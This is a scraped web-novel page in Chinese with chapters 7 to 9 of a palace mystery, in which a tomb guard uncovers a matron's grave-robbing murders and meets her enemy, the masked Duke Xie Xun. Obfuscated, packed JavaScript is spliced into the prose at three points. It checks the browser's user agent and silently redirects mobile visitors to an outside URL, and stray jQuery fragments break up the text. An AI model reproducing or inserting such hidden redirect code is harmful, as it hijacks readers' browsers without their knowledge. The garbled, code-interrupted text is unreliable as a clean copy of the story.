;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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崔梅又挑着眉头看着姜时愿,姜时愿随之福身,崔梅离开前,还不忘留在一句:“今日之事不得不罚,罚你们站至深夜戌时。”说罢,甩袖走开。 叶婵是个受不住苦的主,嬷嬷一走就把水盆放了下来,放倒默心斋,又唤柳儿替她揉肩。她背靠贵妃,有这个资本,能让阁中之人对她敢怒不敢言,而姜时愿没有,她只能默默承受着这一切,顶着水盆站至林中起风。 三七心疼,趁着众人熟睡时,给姜时愿批了件袄子。 却在之时被她握住指尖,姜时愿掌心很冷,眼神却发亮。 “怎么了,姐姐?”三七真担心她被动傻了。 姜时愿看出她眼中的担忧,拿起三七先前所写自从她来到皇陵之后失踪者的名单,温和道:“我好似知道怎么解开这个谜团了。” 三七被冻着止不住吸着鼻子。 姜时愿睫毛一颤,在三七的耳边轻声道:“所有失踪女子是有人刻意为之,她们失踪前都曾住在默心斋,且失踪之后便会立马有新人补上,将此事粉平。” 三七搓着手:“那失踪的人,都在哪里?” 姜时愿指着深邃黑洞的南方,“皇陵中被关押的女子千千万万,为什么默心斋出事最为频繁,为什么你搜遍群山都未曾找到她们的尸骨,因为她们在意想不到,又不敢去的地方。” 朱唇轻启:“南陵,禁地。” 三七震惊的目光中,姜时愿披上袄子,又提着灯笼,整个人在寒风中萧瑟,转身对三七嘱咐道:“今夜,我要前去探一探南陵,没准那里有我们离开的方法。” 7. 07 南陵是在整个皇陵的最深处。 暮色四合,乌云遮去半间月,荒草凝着露珠随着裙踞划过而倒下,一袭素衣在月波下穿梭在黑耸的陵墓之间。 姜时愿的胆子向来不大,若说是从前在姜府养尊处优的姜小姐是万万没有胆子独自夜行,可现在她好歹也是入过“铜柱地狱”的人,再者见过恶鬼皆畏的活“罗刹”,这胆子愈发被练出来了。 也算是因祸得福。 可掌心仍不知不觉中掌沁出薄汗,四周幽暗寂静,倏然寒鸦四起略过头顶,姜时愿的心一下悬高,惊厥起颤,而后仰头见歇在枝头上的黑鸦。 她长叹短吁,不管怎么说,这此地的寒鸦似乎也太多了些,光是身前老槐树已不下数十只! 等等.... 曾听教书先生说,寒鸦夜行,喜食腐肉,所以被世人认定为不祥之兆,可此地并没有其余兽类。 诡异背后,她唯一能想到的就是尸骨腐肉! 姜时愿深深屏气,小心护住手中的火折子,专挑寒鸦群聚之地探去,果不其然发现一座被枯藤掩盖的石洞,欲盖弥彰,着实诡异。 姜时愿提起衣裙,孤身进入黑洞。 空气中难以言喻的腐臭和湿冷,让人不寒而栗。 滴—— 一滴冷水从上滴落,眉心冰冷,她机敏转身,下一瞬,双眸圆瞪,心神俱荡,竟然手中唯一的光源也握不稳了。 烛光在空中旋转几圈,从照亮千奇百怪的石柱,再到柔亮着一堆密密麻麻的白骨。 在那堆惨状不一的尸骨之上躺着一具她再熟稔不过的人,正是消失半日的青黛。 青黛死状极其凄惨,面色惨白如水鬼,肩背身中数箭,衣袍凌乱不堪,似有利刃乱刀划开。而在之下的尸骨,有毒杀、剑伤、挤压等,死法不一。 一阵恶寒涌上心头,若真如崔梅所说是因私自下山受禁军处决,那禁军为何会舍近求远,不就地掩埋在山脚,反而要背上群山将尸骨埋在一个知晓的禁地? 如今她万分肯定,所有消失的守陵人并不是私自出逃,她们的离奇死亡...与这皇陵有莫大的关系。 子时夜幕,寒意愈发逼人。 忽然雷声隐隐,天际惊雷略过,闪光将黑洞的一切秘密在那一刻清晰地呈在姜时愿面前。这洞中除了死人,还有一位活人,只不过男子气息浮游如丝,双手双脚被束缚在邢架之上,铁钩硬生生穿过他的蝶骨,半露出锈迹斑斑的钩头。 手段残忍,令人发指。 姜时愿紧抿着唇,神色紧绷。 墨发披散开的男子似有感应,缓缓仰头。 真是一张清隽的脸,面若玉冠,一双丹凤眼中蕴着几分不羁和讥讽,莫名有种邪佞之感,但看清姜时愿的那一刻化作茫然。 毫无血色的唇扬起浅笑,在此时还能说得出轻薄之语:“月出皎兮,佼人僚兮【1】。美人娇艳如花,罗袖香香,只恨我如今这副躯体受限,不能拥在怀中。” 姜时愿冷下脸,先前就觉得男子面相十分熟稔,似在哪里见过,可是她深居在闺阁,并没有什么机会结交除世族贵胄以外的男子,能识得脸的,都是能唤出名字的。 不是熟人,但又面熟。 无思绪之时,若不是男子出口成章风流之话,姜时愿怕不会想起曾贴在汴京城墙上的通缉榜。 眼前的男子,正是榜上有名,大名鼎鼎的“采花大盗”——慕朝。 听闻此采花贼极为好色,常常行于夜色之中,跃在青瓦片之上,借着东风吹开姑娘家的窗棂转入闺房之中,神不知鬼不觉,又在翌日消失不见,来去无踪,连大理寺都对他无可奈何。 姜时愿还听其他小姐羞着脸提过,慕朝采花还极有原则,专挑容颜姣好、品德俱佳、出身高贵的官家女子下手,一般的还瞧不上,遂提醒姜时愿一定要加强府中戒备,晚上关严门口,切不可留有贼人可乘之机。 但姜时愿没有想到,鼎鼎大名的采花贼竟然被人囚禁在皇陵,关在她的眼前。 姜时愿与这种杂碎,无话可讲,转身离开。 “姜小姐,在下的相貌并不丑陋,怎么见了在下转身就走?难不成你羞于见到在下的英姿。”慕朝的眼中明显掺了些暧昧,言语不清不楚。 ... 姜时愿左手攥着衣裙,隐下愠意,冷冷借问“你为何认识我?难不成....你...”慕朝轻易唤出她的姓氏,难不成难不成这厮曾在京中半夜偷偷潜入过她的厢房? 慕朝见美人情绪不佳,连忙否认,打消她心中猜疑:“说来遗憾,姜府戒备森严,在下学艺不精,尚未能找到机会潜入进去。不过在下倒是早就听闻过小姐的美名,曾在游园会上有幸见过一面,仅此一面,便足以让在下朝思暮想!” ... 果然,鸡同鸭讲,浪费光阴。 她再也不想理这轻慢的登徒子,再次生起离开的想法,又被慕朝的一句话勾起了心思,脚步再次停住。 他的嗓音不复先前轻慢而是倏尔严肃:“姜小姐深夜来此,没有寻到皇陵的真相,就这么心甘情愿地离开吗,或许在下可以为你解惑。” 姜时愿一半的侧颜在提灯的映照下显得清落高洁,丝毫不带客气地打断他:“我心中已有猜测,恐怕不需要你来告知。” 慕朝微微挑眉,颇感诧异:“没想到姜娘子还能断案?” 姜时愿尽量屏蔽他的轻薄之语,再次来到成堆的尸骨旁边,福下身子,细细观察:“石洞里的守陵人死法不一,不像是人为,更像是触发了某种机关。在这里我唯一想到的设有机关的地方,唯有...”她的绣鞋点在地上,同时又从青黛的上襟之中搜出一粒被藏在缝线之中的金瓜子,更加加深心中猜测,“所有消失的守陵人全部下了皇陵,偷盗皇室的陪葬品,入陵墓或撤退时不慎触发墓穴机关才会身首异处。” 慕朝叹道:“世间爱财之人比比皆是,她们也是利益熏心。” 姜时愿挑了挑眉,道:“是吗?你还说如实相告,而如今却对我诸多隐瞒?”慕朝歪着头,饶有兴趣地听姜时愿继续说道:“她们在这永无天日,既逃不出皇陵,再多的钱财也是毫无用武之地,私下下墓还会连累自己的家人。” “是崔梅指使她们的,对吗?” 姜时愿猜测崔梅应是逼迫,或者以事成之后放她们出皇陵的条件为诱惑,哄骗她们下墓偷盗陪葬的和璧隋珠、奇珍异宝,而后将所有的尸骨全部葬在无人问津的南陵。不得不说崔嬷嬷心细如发,拿着守陵人出逃当幌子,掩藏死亡的事实,又塞进新人粉平皇陵人数。 逻辑清晰,口条朗朗,慕朝只恨自己双手双脚被捆索,不能拍手叫好。 姜时愿眼神因为戒备带着一丝锋芒,又想起曾在通缉榜上看见案吏描绘,慕朝轻功举世无双,不然也不会大理寺追击几年也了无音讯,又转了话锋:“你的轻功好到什么程度?若我放了你,你能不能顺利躲过驻守的禁军,逃出皇陵?” 慕朝似有些骄傲:“自是没有问题。” “那我与你做个交易,我助你逃出,作为交换,你要帮我去大理寺传递个消息。” 这话倒是有些出乎慕朝的意料,她不央求自己带她逃出皇陵,反而只是帮她递个消息这么简单? 慕朝铁链随着手臂的牵动而收缩作响,似是无奈地抬手,暗示着如今他已沦为阶下囚还有得选吗?又甚是不解地看着姜时愿:“你甚至都没问过在下没什么关在这里,就不怕在下是坏人吗?” 姜时愿:“你若想说自然会说,而且我对登徒子的风流往事向来没有兴趣,也没闲情在此刻打听。” 话间冷漠,慕朝闻言无趣地咋舌。 就在此时,姜时愿从地上随便拾起一把锈迹斑斑的利剑,对着他四肢的铁链就是砍去。 一阵零碎的闷声垂地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053446|149083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失去三年来不断的沉重负累,慕朝紧咬着牙关,额间沁出细密冷汗,依靠着石壁缓缓喘气。 被困在南陵三年,他都快忘了自由是什么气味,只是此时天时人和,让他鼻尖嗅到姜时愿衣襟上淡雅的草木香,暗香浮动,侵占着她的五感。 而再次垂眸,那抹倩丽的身影已经娉娉婷婷走至洞口。 慕朝淬了一口血沫子,说道:“还以为你会直接求在下带你逃出皇陵。” “即便今日求你带我逃出生天,可我依旧是个见不得过,摒弃姓氏的逃犯,宛若阴沟暗鼠的日子我已经过够了。” 姜时愿带上幕篱,微风吹动着轻薄白纱,她从怀中再次取出火折子,微弱的烛光碰到烛芯,化成一缕青烟,她仰头望着清月:“我,姜时愿,要靠自己,清清白白地走出皇陵,步步走到那个人的眼前。” “切记七日为期限,将消息带到大理寺。”她顿了顿,别过脸去,及不乐意补了一句:“多谢。” 声音尤冷。 — 新月下,瞬影越过重重人群,振翅几下,抖落如雪的捷毛,信鸽似有目的般停在新嫩枝丫上。 小吏心领神会,取下绑在腿上的信笺,弓身快跑着越过层层压抑高耸的青铜门,最终伏跪在端坐于长座之后,隐在堆积成山的卷宗之后,青年眉眼低垂,颇为书生气的手执着狼毫。 窸窸窣窣,并未停歇,又转尔阖上一本卷宗。 淡淡甜腻的桂花香消弭在血腥之中,解下的青鬼面具旁放着甜江月的食盒,当那修长指尖再想捻起糕点时,却只摸到触底的空盒。 这时恍若水墨勾勒的眉眼,才徐徐敛起,顺势施舍给了还在俯首跪着的小吏。 小吏扫眼看上金丝楠木案上的面具一刹,霎时僵直,收起不安分的目光。 脖颈如贴冷刃般寒颤,差点就犯了大忌讳。 魏国公的真面目至始至终都是个迷,很多人热衷去揭开这背后的真容,但最后死得不明不白,尸骨无存... 小吏紧张地咽了下口水,魏国公未戴面具之时才最危险,一言一行皆都是他对人心,铲除不臣之人的试探。 小吏低垂着头,以防万一,还阖上了眼,小心呈到谢循眼下:“国公,大理寺暗探递来的消息。说是今晨有位来路不明的乞儿递给了大理寺递了则消息,似乎是皇陵生变,少卿李奇邃闻言大为震惊,已经准备动身前。” 谢循无动于衷,而后拂到一旁。 国公始终难以琢磨,倒不是仅仅因为面具遮住五官教人难以凭肉眼辨别此人的情绪,而是他的言行都极具克制、冷淡,如玉般不留任何趁虚而入的裂缝。 小吏:“尚不知皇陵发生何事,典狱需不需要提前出手拦下大理寺的人马?” 又是一卷卷宗被搁下,而此时的谢循略有不同,他隐隐地攥紧木简,骨节泛白。 风起帘拢,呼吸不经意之间被拉长.... 皇陵啊... 记忆中模糊的女子好似也被发配皇陵。 这六月以来,他能忆起在那抹毅然信步走向关外的背影,忆起那双含泪不坠的双眸满是对他的憎恨,记着她的那句‘请魏国公定要等到我回京之时,前来索命’。 青年兰枝玉树坐于大敞的雕窗前,素白的海棠随风落在盘踞的衣襟上,日沐在他雪玉般的肤色上留下错落的光影。 谢循恍若水墨勾勒出的眉眼缓缓抬眸,眉眼明澈而沉静。 清隽绝尘的容颜融在簌簌而落的花语之中,若叹是谪仙下凡也不为过,只不过,这副“美景”和美貌终是无人欣赏罢了。 他眉梢一挑。 狼毫点在墨池之中,屡屡黑圈晕开在清水之间,污了清水。 他抬眸淡笑,望向满树海棠。 “二月仲春,是该远出踏春了。” 【1】出自《月出》,先秦,佚名。此为引用。 8. 08 皇陵还是一如既往的沉寂,守陵人还是照旧干着往常的活。 只不过在第七日时,姜时愿在墨心斋的庭前的莲花形银香炉点燃沉香,温婉素雅,香雾刚丝丝缕缕发散出来,就被林间敲响的钟声吵醒。 同时传播着恐慌,默心斋的女子无心安睡一下骇得鲤鱼打挺从榻上爬起来,三七揉着眼睛发问:“怎么好端端的,嬷嬷突然敲钟了?” 皇陵内置皇钟亦是丧钟,没有皇室宗亲长辞离世,依着规矩,叩钟九下,守陵人以及禁军闻此钟声,即刻前往天路道上,跪在白玉长街两旁朝着汴京城的方向三步九叩。 可今日的皇钟声音悠然,却不是为皇室默哀,而是成了从崔梅的私物,集结守陵人的手段。 众人闻言,脸色大变。 隐在香雾后的姜时愿摩挲着衣袖上的素荷绣案,隐隐攥紧了掌心。 纸包不住火,她也预料过去往南陵还私自放走慕朝一事迟早会被崔梅察觉,只是没想到她的运气背到极致,偏偏在今日,不能再多瞒一回儿。 她原本的计划是慕朝向大理寺递交密函,大理寺定会派人来皇陵彻查此案,然后罪魁祸首崔梅落马。事后,大理寺入京请奏皇陵大案,而他会因揭发崔梅有功,势必会受到圣人的奖赏亦或者大赦。若事情进展地顺利,她便能成功离开皇陵... 而她粗算大理寺的脚程,也应是在今日赶到皇陵。 可,偏偏天公不作美,被崔梅赶在大理寺前一步被察觉。 姜时愿有些始料不及。 不等她再细想对策,崔梅又撞响栈道上的皇钟。 腥风血雨欲来,明眼人都能察觉这气氛不对。 先不说崔梅面色阴沉,往日手中终要握着戒尺,而今日换了白绫,其次所有禁军手拿银戟,犹如一张铺天盖地的网兜住所有的女子。 崔梅不敢信自己底下之人竟然生出异心,不听她的话,私自潜入皇陵。不论那人有没有猜出自己的目的,都不能留着那个祸患,以免夜长梦多。 必须揪出来!是谁偷偷去了皇陵! 崔梅信手庭步慢慢走向台阶,目光犹如蛇蝎贴着伏跪的众人吐着蛇信一个个滑过去,倏然扼住一位守陵人的脖子,随即唬道:“说,最近有没有去南陵?” 那女子吓得打颤:“没有啊,嬷嬷,阿香可以为我作证,她还骂我鼾声太大吵得她无法安睡。” 崔梅目光冷冷,撒开了手,甩下衣袖,调转对众人面前:“说,谁去过南陵?”而回答她的一片微垂的头,和无言的沉寂,她轻蔑地哼出声:“都不说,是真不知道,还是为了包庇她人?” “既然都不说,那便一人一根白绫赐自尽吧。” 关乎人命,崔梅就轻飘飘一语带过。 “嬷嬷饶命啊!” 只闻哭声,见还是无人透露半分,崔梅已没了耐心,使了个眼色,所有禁军立马上半步,横拿银戟对峙。 崔梅对贼人毫无头绪,只能靠着威吓和守陵人互相检举,逼出贼人。 此法显然奏效了,特别是柳儿豆大的汗水淌下,骨节都攥得渗血,望了一眼高高居上的崔梅,弱弱地举起了手:“我要揭发,昨夜我曾看见时愿披着斗篷去了南陵。” 崔梅眯着眼睛,面色愈发阴翳。 姜时愿面上镇静自若,越是在此刻,越是要装得坦然。心中暗暗谋算,香已折近三分,按着她的预估,香火之前大理寺才会赶来,在此之前她还得拖延,万不能被嬷嬷一条白绫断了后生。 可眼下所有的猜测和怀疑都指向了她。 纤瘦的脊背上已在众人不察之下沁出冷汗。 崔梅疾言道:“你可看清了?” 柳儿只觉头皮发麻:“夜色是黑,但尚能看清,背影极像时愿。” 好在三七还顾念着情意,支支吾吾,不肯正面对答崔梅的问题,但这份遮掩和也只会加深姜时愿的嫌疑。 崔梅显然已经没有了耐性,一条白绫直接飘至姜时愿的眼下,这份向来乖巧不生事端的女子,如今却差点给她致命一击,眼中再无对姜时愿的欣赏,凉凉道:“你自己亲自动手,还是我自己来!” 现在顾忌姿态和颜面对她毫无益处,如何在大理寺来前活下来才是正事。姜时愿赶紧福下身子,嘴上重复着求饶的话语,脑中却是在尽快想出对策。 皇陵虽不在天子脚下,又避世在林间,但又不代表崔梅敢在这里目无法纪。比如,她不敢做‘宁可错杀三千,不可放过一个’的决策,因为皇陵百人离奇死亡只会触怒圣人,也会为自己招来祸端; 说起来,她也不敢让犯人有除“自戕”外的其他死法,毕竟他杀可自杀疑点更值得深究,容易让人想至杀人灭口,特别还是在明月发现数具尸体后。 所以崔梅集合众人,也只是为了让守陵人互相指认犯人,然后逼凶手自戕,而后再伪造一份谢罪书栽赃嫁祸之。 在崔梅不慌不忙将白绫绕至她的脖颈后,带着凉意的白绫已轻轻贴着雪肤,却听姜时愿说道:“嬷嬷若是认定是我,可就是真正放过作恶之人了?” “你这话是什么意思?” “我是说柳儿言辞前后矛盾,应该是在编谎,或者她并未亲眼看见。” 姜时愿勉强转向柳儿质问道:“你方才说,昨夜见我身披斗笠,又说夜深尚黑,勉强从背景辨认是我?” 柳儿微微颤颤,“是啊,怎么了吗?” 姜时愿:“可我的斗篷乃是玄色,又融于夜色之中,你如何看清?” 柳儿慌不则已,觑了一眼身后的叶婵,口中打结:“说了是估摸身形,猜出是你。” “那好,你既然见的是我的背影,又怎么能看穿斗篷之前我的身影呢。难不成你长了双‘慧眼’?” 姜时愿话语一击毙命,彻底让柳儿哑口无言,她紧紧攥着衣袖,都捏出深深折痕。崔梅也听出来了不对,怒火中烧,都什么时候了,还敢与她扯谎,俯身上前抽了一巴掌:“你竟敢骗我!好大的胆子,看我不生扒了你的皮。” 柳儿跪着揶揄上前,大哭道:“奴婢没有虚言。” 崔梅:“死到临头,还要嘴硬。” 姜时愿想,她昨夜确实披着斗篷出门,可柳儿却并未亲眼瞧见,不然也不会错了细节,必然是有人指使。思及此,她又回想到一个细节曾在柳儿在无措时偷偷望向后方。 她将目光一路延后,直至落在叶婵上。 柳儿在崔梅的紧逼之下,终于崩溃:“是...叶婵!叶婵亲眼所见,是她告诉我的。” 果然,是叶婵。 她才是真正的证人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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叶婵斜睨着她,朱唇微动。 正当此时。 “大理寺卿到!” 姜时愿如蒙大赫,与此同时,耳旁响起一阵零碎的响声,嘈嘈切切,有包夹的脚步声,还有上首崔梅震惊地自喃“大理寺怎么会来此?”,以及大理寺少卿嘿笑着请某人先行的声音。 李奇邃在向谁谄媚? 李奇邃,年纪轻轻就任少卿之职,为大理寺当之无愧的二把手。尽管大理寺日渐没落,处处被典狱压制,施展不开拳脚,但依着百年威望,仍然在朝中占着举足轻重的地位。而李奇邃又出自高门李家,这样的人既有名望又有底气,明路疏通,就算客套恭维也不会对谁谄媚奉承。 可眼下事实截然不同。 “您慢点,当心台阶。” 他的声音毕恭毕敬,谦卑到了极致。 姜时愿几乎要把眼眶阵睁烈了,就这么眼睁睁看着李奇邃携着笑面,双手环成闭环将身旁之人拥护成什么矜贵易碎的瓷般,亦步亦趋地跟着。 而带着‘青鬼獠牙’面具的男子迎面走向姜时愿。 无数在梦魇之中见到的‘容颜’,如今重现自己的眼前。 她咬碎了牙,才不至于几近怨恨地唤出他的名字。 谢循... 9. 09(已改) 谢循难得不穿官服,锐减了几分肃穆和森冷,着着青色长衫,墨发以玉簪束起,若不看那狰狞的面具,就着他的衣着、身形、气质,还有颇有书生气的手腕,以芝兰玉树、清隽温润形容他真不过分。 这天意当真还喜欢与姜时愿开玩笑。 她特意喊慕朝避开典狱给大理寺递消息,一则是希望借此大案帮大理寺东山再起,二则是就是为了避开谢循,满打满算的计划,为何永远会在罗刹面前扑空? 谢循当真克她,偏偏要在此时出现。 姜时愿有仇当报,但绝不是此时,眼下正是回京计划中的关键时刻,不想被谢循认出,以防此小人在她回京路上使绊子。绝不可因为仇恨坏了计划! 幸好,跪在白玉长阶上的守陵人少说也有百人,应是不易察觉。 所幸,李奇邃也甚是助她,一路在前躬身指引着谢循走上祭台,无暇在台阶上分心。 “国公,小心脚下。” 李奇邃的声音从姜时愿的身后传来,同时一股松凛的雅香如清露晨珠越发逼近她,她余光扫觑到青衫袍子被风吹得跌落不不平,风姿绰约,可这步子却透着一股内敛和随意。蓦地就在临近她的一刹,疏尔止了脚步。 心虚作祟,姜时愿愈发将头深埋,袖间的荷花绣样愈发被她捏得畸变。 不会是察觉了她吧? 一滴珠汗淌下,姜时愿下了好大的决心才敢把目光从青砖步步上扫到‘青鬼獠牙’的面具上,那眸子点黑如墨,揉着杀伐之意。 不过幸好,他的眸光没有落在自己身上,而是不知何时跪在他脚下的崔梅上。 崔梅一件素色袍子包裹着瑟瑟发抖得身躯,那张脸因惊惧而变了形,没了以往的从容:“国公和少卿大人怎么来了?要来,也应该只会小的一声,都未来得及备下款待。” “猜不出?”李奇邃忽地笑了:“要我提点你典狱和大理寺的要务是什么?” “奴婢不敢。” 谢循冷眼扫下,淡淡开口:“要案所在,典狱所往。” 李奇邃正了声,终于拿出来了为官的样子:“本官暗收到密信,有人检举你崔氏滥用职权,逼迫守陵人潜入墓穴偷盗皇室珍宝,收入私囊,以及事后草菅人命。” 通常被大理寺拿下之人都会先替自己喊冤,崔梅却是个怪人,缄默其口。 而崔梅顾虑的不是大理寺而是‘罗刹’。 只因她对谢循早已有过耳闻,战栗刻进骨血,先不说凭他那断案如神的本领,再多的遮掩和解释在他的面前如薄如蝉翼的纱幔一般,轻轻一拽,秘密便无处遁形。 再说他那自创的十八刑罚,扒皮抽筋、剔皮削骨都算是轻的,这背后的血腥她简直不敢想,关键里面的囚犯宛如恶鬼,偏偏在手下,求生不得求死不能。 若想少吃点苦头,怕是只能坦白从宽。 崔梅缄默之时,有底下衷心耿耿之人替崔梅喊冤:“国公和少卿大人,此事绝对不可能是嬷嬷所为!定是有人冤枉崔嬷嬷的,还望明察还嬷嬷一个清白。” “那便还她一个清白,立马搜寻皇陵各角和崔梅的住所,不容放过任何一隅。”李奇邃笑了,立马指挥手下之人大肆搜寻。命令刚下,官吏却觑向李奇邃犯了难,终于派出一名为首的官吏颤颤供手问道:“大人,此为皇陵,会不会犯了忌讳,冲撞了先皇?要不要禀告圣人再做决断?” 李奇邃也默了,此话他不得不听进去。 崔梅能如此肆无忌惮也就是仗着此地是皇陵,任何人也不敢胡来。派人搜证和挖掘尸体,不就等于在皇陵中‘翻箱倒柜’和‘掘地三尺’吗,虽然查案咬紧,但是敢在历代帝王头上动土,怕是任何朝臣也没有这个胆子。 崔梅见大理寺也不敢轻举妄动,自首的念头忽得消了下去。 只要大理寺现下不敢搜查,自己就还有时间转移罪证,将一切痕迹粉饰干净。 眼前自己亲手递上来的犯人就要被李奇邃放跑了,姜时愿急得蹙了下眉头,心念着这李奇邃怎么不能转下脑筋呢? 这分明摆着个既不得罪圣人和历代帝王,又能让崔梅俯首认罪的地方! 她心里还纠结着谢循,不敢轻举妄动,只能期盼着李奇邃能跟她心有灵犀! 姜时愿默默祈求青天,哪怕顺她一点运气呢? 黄昏的西风之中,谢循好似懒散看戏的闲人。 拨弄着手中的墨香折扇,合了又开,开了又半合,绕着崔梅徐徐信步,崔梅的,扇尖敲在手心的轻响,身子随着他的节律一瑟再瑟。 “搜南陵和崔氏的住所即可。南陵风水不佳,早就被星宿司弃用荒废,命令严禁安陵,既无帝王安陵,搜那,也不算冲撞圣人。” “再言之,一处荒废、无人敢踏入的地方,最适合藏赃物,不是吗?” 他的声音凉凉的,像蛇信滑过耳边。 姜时愿听着这厌恶的声音竟与她所思所想一致,不由得五脏惧焚,但也只敢跪得安分。 李奇邃观着崔梅的脸色大变,直呼国公断案如神,遂立即派人搜寻南陵。 皇陵以铜壶滴漏计时,一滴一滴融入水面宛如死期将近的宣判。 崔梅汗流浃背,只能眼睁睁看着司直将埋在南陵的尸骨一具具堆叠在她眼前,仵作勘验尸体,案吏执笔记录细节和统计赃物,李奇邃边纵览全局,边礼疑点和来龙去脉,一一回禀给谢循:“国公,一共挖出女尸一百零三具,死法不一,具体尸身身份还需后续一一核对。还有,又派人去搜寻了崔梅的厢房,发现其女暗建地窖,囤积墓室葬品共计五十二件。” 崔梅再无翻盘的手段,只得认罪:“国公饶命!少卿大人饶命!” “证据确凿,您看此案如何定夺?”李奇邃询问着谢循的意见。 这出戏已落幕,谢循‘簌’的一声腕甩扇合:“此案交由少卿决断,不必过问我,先行一步。” 李奇邃万般不敢相信,谢循竟然竟然完全放权给自己,连忙福下身子谢恩:“下官定当尽心尽职,将此案差个水落石出。” “国公慢走。” 姜时愿长长吁出一口气,终于将‘罗刹’送走了。 偏这不合时宜海棠花瓣从扇柄缓缓飘落在姜时愿以木簪挽起的单髻之上,如坠入墨海,这花引了谢循的视线,在离开之际,疏尔打量了一下,眼前的女子因面首埋得太深,脖颈延下的一段贴近象牙的白最后没在绣着葶立的荷花衣襟中。 肤如凝霜,很美,洁净如玉。 光怪陆离中,谢循在擦身而过之时止了步子,安静地俯瞰着女子。 只不过这女子好似因为他的凝视,脊背一瞬紧绷,这下意识的生理反应可是骗不了人的。 这副身骨当真越看越觉得熟稔,谢循微微眯起眸子,这娘子不知是否被她打量的久了,那一点细微的战栗也止住了,甚至还挺直腰身,更显姿态绰约,似海棠梨花,冰清玉洁,生来一副文人风骨。 可惜,在他的手上不知折断了多少副如同这般的风骨,碎了多少骨头,最后听着他们如果墨发垂地,着着褴褛的衣衫如狗爬在血腥腐臭的地上,以近乎丧失人性的丑态祈求着他的高抬贵手,那份从圣贤书熏陶出的自尊变得不值一提。 谢循侧过脸,忽然轻声道:“姑娘看着有些眼熟?” 很普通的语气,没有激动,没有百感交集。 当真只是帮她当成一个陌生的过路人。 也是,已经一年未见,他忘记自己的相貌也很正常。 可一字一句听进心里,可着实讽刺啊! 你日以继夜靠着对他憎恨和杀意才撑着你度过苦海,这份辛酸又有谁知?你恨不得那仇人也记得你、提心吊胆地想着你什么时候回来找他索命,而此刻他竟然说你只是有些眼熟。 他不记得你,就代表他从未产生过一次竭虑、恐惧、焦虑,你于他而言只不过是无关紧要的人,是他无数刑牢中犯人的一位,一样无趣、乏味,如同蝼蚁般不值一提。 这份不甘和不对等在她体内翻滚。 偏偏在此,她还不能发作。 还得感谢谢循的心大,忘记了她,这样才会对她放下戒备,不会在会回京之路上使绊子,不会在禀告案情时在圣上面前隐去‘姜时愿’的功劳。 案吏吼道:“没规矩的,魏国公问你话呢?半天怎么没个声?” 姜时愿强压心中的起伏,道:“奴婢无福,不曾见过魏国公,失了礼数,还请国公见谅。” “是吗?当真有些可惜,还以为娘子是故人。” 姜时愿透过地上的影子觑见折扇在他修长指节游龙旋转,如同活物灵活,而他的碎影慢慢靠近自己,直至和她的影子相融。她真怕下一瞬谢循就用扇柄挑起她的下颌,逼自己与他四目相对。 正当那时,自己又该如何应对? 姜时愿冷冷答道:“有缘之人,自会再有相见之日,国公不必觉得可惜。” “有缘之人?”紧接着她听见谢循轻笑了声,嗓音清清冷冷:“若那位故人是日夜想着索命吾命之人呢,这也算是缘吗?” ...... 待谢循离去,李奇邃的腰板重新挺了起来,气宇轩昂地开始指点江山,先是命人将崔梅关押起来,严刑拷问,务必吐个干净,又驱赶着所有守陵人各自回到斋中,唯独留下来了一人,那就是姜时愿。 而后,姜时愿被司直带来了一处偏僻的阁中,说是少卿要见她。 咔咔几声哑声过后,李奇邃一下从太师椅上蹦起来,颇为警惕地嘱咐司直在外候着。等那扇门扉合拢之后,连忙朝着姜时愿扑过来,谁料姜时愿轻易一个转身,他直接重重砸在地面上,捂着红肿的脸,“姜姐姐,你咋对我还是冷淡,我可是为了你不眠不休地赶到皇陵,你就这么对我!” “快些起来,堂堂少卿如个不讲理的孩童般撒泼打滚,你不怕被人瞧见笑话。” 或许是他鼻青脸肿的模样过于滑稽,姜时愿没忍住笑声,这让李奇邃多少觉得没有面子。 李家和姜家在姜家未出事之前素有往来,甚至还结过几次姻亲,李奇邃与姜时愿自小一起长大,以姐弟相称,印象里,李奇邃不务正业每日热衷于斗蛐蛐、研究旁门左道,惹得父亲好几此扬言要把逆子逐出家门,每到此时,他就会躲到姜家兄妹身后,寻求庇护。 毫不夸张地说,那时姜家兄妹就是他的‘在世父母’。 李奇邃见姜时愿还能欢笑,心里已经好受了许多。姜家出事之后,他常常责怪自己的无能和人微言轻,不能替姜家伸冤,也是沦为眼盲嘴哑中的一位。这份愧意日益激发着他,倒真的让他搞出了些名堂,混上少卿之位,不过这得手的位子多多少少也是依着家里的关系。 愿以为姜时愿恨透了他的懦弱,两人之间会再无交集,直到大理寺收到一则密信。 李奇邃立马认出那是姜时愿的字迹,自此,便下定决心,说什么也会助她逃出皇陵。 李奇邃:“姐姐放心,我回京就即刻面圣言明你的功劳,你只需要在此安心等着圣人的大赦就好。” 姜时愿原可以安心,可是谢循突然的插手又放权,如同一个诡异的密,始终缠绕着她。她看似不经意追问道:“对了,魏国公为何会与你在一道?” 她与谢循有种不可化解的恩仇,而李奇邃却没有,顶多是是官场对立之势,所以并不想将他扯入自己的恩怨之中,装作随口一问。 “此事就有些说来话长。”李奇邃绕着头,有些不知从何讲起。 李奇邃收到姜时愿的消息,就即刻动身,为了不走漏消息甚至还未禀明大理寺卿就急匆匆喊人备马。 